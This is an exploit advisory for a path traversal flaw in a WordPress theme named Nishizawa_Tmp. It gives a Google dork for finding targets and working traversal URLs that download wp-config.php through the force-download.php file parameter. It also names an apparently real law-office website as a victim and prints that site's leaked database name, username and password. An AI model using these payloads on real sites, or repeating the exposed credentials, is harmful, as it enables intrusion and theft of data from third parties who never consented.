############################################################################################ # Exploit Title : WordPress 4.x Nishizawa_Tmp Themes Database Configuration File Download # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 20/03/2019 # Vendor Homepage : nishizawa-law.com - wordpress.org # Software Information Link : nishizawa-law.com/english/about/aboutus.html # Software Version : 4.x # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:/wp-content/themes/nishizawa_tmp/ intext:Copyright (C) 2019 Nishizawa Internatinal Law Office All Rights Reserved. # Vulnerability Type : CWE-16 [ Configuration ] CWE-200 [ Information Exposure ] CWE-23 [ Relative Path Traversal ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################################ # Impact : *********** * WordPress 4.x Nishizawa_Tmp Themes is prone to a vulnerability that lets attackers download database config file because the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the web server process and obtain potentially sensitive informations. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * The software has Relative Path Traversal vulnerability and it uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. ############################################################################################ # Vulnerable File : **************** /force-download.php # Vulnerable Parameter : ********************** ?file= # Database Configuration File Download Exploit : ******************************************** /blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php /wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php Informations About MySQL Database Configuration File => **************************************************** ** The name of the database for WordPress */ define('DB_NAME', ''); /** MySQL database username */ define('DB_USER', ''); /** MySQL database password */ define('DB_PASSWORD', ''); /** MySQL hostname */ define('DB_HOST', ''); ############################################################################################ # Example Vulnerable Sites : ************************* [+] nishizawa-law.com/blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php // ** MySQL Database Configuration File /** WordPress define('DB_NAME', 'z113080_blog'); /** MySQL define('DB_USER', 'z113080'); /** MySQL define('DB_PASSWORD', 'wMX4iLcV'); /** MySQL define('DB_HOST', '127.0.0.1'); define('DB_CHARSET', 'utf8'); define('DB_COLLATE', '' ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################